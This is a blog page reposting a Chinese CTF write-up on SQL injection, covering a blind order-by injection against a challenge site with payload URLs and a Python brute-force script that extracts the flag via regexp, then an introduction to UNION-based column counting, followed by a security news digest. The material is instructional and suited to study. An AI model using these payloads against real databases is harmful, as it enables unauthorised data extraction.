搜索此博客

2017年8月15日星期二

【技术分享】SQL注入的一些技巧分享

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
【技术分享】SQL注入的一些技巧分享  阅读原文»

2017-08-15 10:05:34 阅读:3313次 收藏 来源: 安全客 作者:米糕菌

http://p5.qhimg.com/t011e2a0fade6a6e8e9.jpg

作者:米糕菌

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


先上一道简单的ctf注入题:

一道利用order by进行注入的ctf题


很不错的一道利用order by的注入题,之前不知道order by除了爆字段还有这种操作。

原题地址:http://chall.tasteless.eu/level1/index.php?dir=

直接进去dir后的参数是ASC,网页上有从1~10编号的10条信息。绕了一大圈反应出是order by后的参数,尝试把参数改为DESC,果然倒序排列了。题目给了提示:hint: table level1_flag column flag给了数据表和字段,于是开始构造payload。

于是玄学来了,在order by后面插入管道符|之后再跟一个偶数(?这里我真的不清楚)会导致排序错乱。尝试以下url:

http://chall.tasteless.eu/level1/index.php?dir=|2

果然排序错乱,那么想要查出flag必定要使用以下语句:

select flag from level1_flag

(结果证明确实这是一个一行一列的玩意儿,不然就要使用到limitgroup_concat

但是网页上没有显示这个的输出框,于是我们这样利用这个查询的结果集:

|(select(select flag from level1_flag)regexp '正则')+1

解释一下,括号里的正则匹配成功返回1,所以再加1变成2

所以如果匹配成功,网页的排序就会错乱,如果不成功排序则不会错乱,于是最终脚本:

import urllib
import requests
result_string="^"
right_url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
    for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
        if(letter=='?'):
            exit()
        result_string_tem=result_string+letter
        url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
        print url
        content=requests.get(url).content
        if(content!=ordered_content):
            result_string=result_string_tem
            print result_string
            break
        continue

总结一下:

1、管道符的使用(见正文)

2、regexp的使用(见正文)

其实还有一个group by后面的注入,where后面的都能用


0x00   union、intersect和minus的使用


union基本语法:

select语句
union select语句

intersect(交集)和minus(差集)也一样,但是mysql不支持交集和差集,所以这也是一个判断数据库的方法

就说说union:

基本法:前后两个select语句的字段数要相同,不然sql必定报错,所以可以用union指令判断数据表的字段数,基本构造方法:

...where...union select 1,2,3,4,...,x limit y,z

【知识】8月15日 - 每日安全知识热点  阅读原文»

2017-08-15 11:00:22 阅读:2178次 收藏 来源: 安全客 作者:童话

http://p6.qhimg.com/t017313015b51e6034e.png

热点概要:dcrawl:基于GO语言的多线程web爬虫、如何把本地文件包含变为远程文件包含漏洞、攻击Java反序列化、探索Windows虚拟内存管理、通过smb pipes实现端口转发的Powershell脚本、Exploitations of Uninitialized Uses on macOS Sierra、Glitch攻击介绍(包括Glitch Explorer)、CuckooDroid 2.0:自动化Android恶意软件分析工具


国内热词(以下内容部分摘自http://www.solidot.org/ ):


Facebook 如何掌握竞争对手的情报

前比特币开发者公开中本聪的早期邮件


资讯类:


朝鲜黑客组织被指攻击美国国防承包商

http://www.securityweek.com/north-korea-linked-hackers-target-us-defense-contractors 


技术类:


在Active Directory中检测违规密码

https://jacksonvd.com/checking-for-breached-passwords-in-active-directory/ 


dcrawl:基于GO语言的多线程web爬虫

https://github.com/kgretzky/dcrawl 


看我如何把本地文件包含变为远程文件包含漏洞

没有评论: